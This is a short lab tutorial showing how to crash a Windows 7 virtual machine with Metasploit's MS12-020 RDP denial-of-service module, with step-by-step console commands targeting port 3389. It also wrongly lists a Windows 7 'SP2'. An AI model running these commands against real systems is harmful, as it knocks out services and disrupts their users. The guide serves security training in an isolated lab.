💻 Windows 7 Crash Manual

Blue Screen of Death via Metasploit

⚠ **Disclaimer:** This manual is for **educational and lab use only**. Never attempt these steps on a real computer. Only perform in an **isolated virtual machine**.

🔧 Lab Setup

Component	Configuration
Host OS	Any (Windows/Linux/Mac)
Virtualization	VMware / VirtualBox
Attacker Machine	Kali Linux
Target Machine	Windows 7 (SP1/SP2)
Network	Host-only or NAT

1️⃣ Data Gathering

Open your **Windows 7 VM**, launch **Command Prompt**, and type:

```
ipconfig
```

- Locate the **IPv4 address** — this is your target IP (RHOST).

2️⃣ Launch Metasploit

On your **Kali Linux Terminal**, start the required services and launch Metasploit:

```
service postgresql start
service metasploit start
msfconsole
```

- The **Metasploit console** will appear.

3️⃣ Execute the Attack

Choose the exploit and configure the target:

use auxiliary/dos/windows/rdp/ms12_020_maxchannelids

show options

set RPORT 3389

set RHOST <Target_IP>

exploit

- The **Windows 7 VM** will crash and display a **Blue Screen of Death (BSOD)**.

4️⃣ Observe Results

- The target machine restarts and shows a **Blue Screen**.
- You can safely repeat this in your **virtual lab** for testing purposes.

📌 Key Learnings

- Modern OS (Windows 7+) are more secure; exploits are limited.
- DOS-style attacks crash systems but do not provide access.
- Always practice in **isolated VMs**.
- Understanding **RDP vulnerabilities** helps with defense and awareness.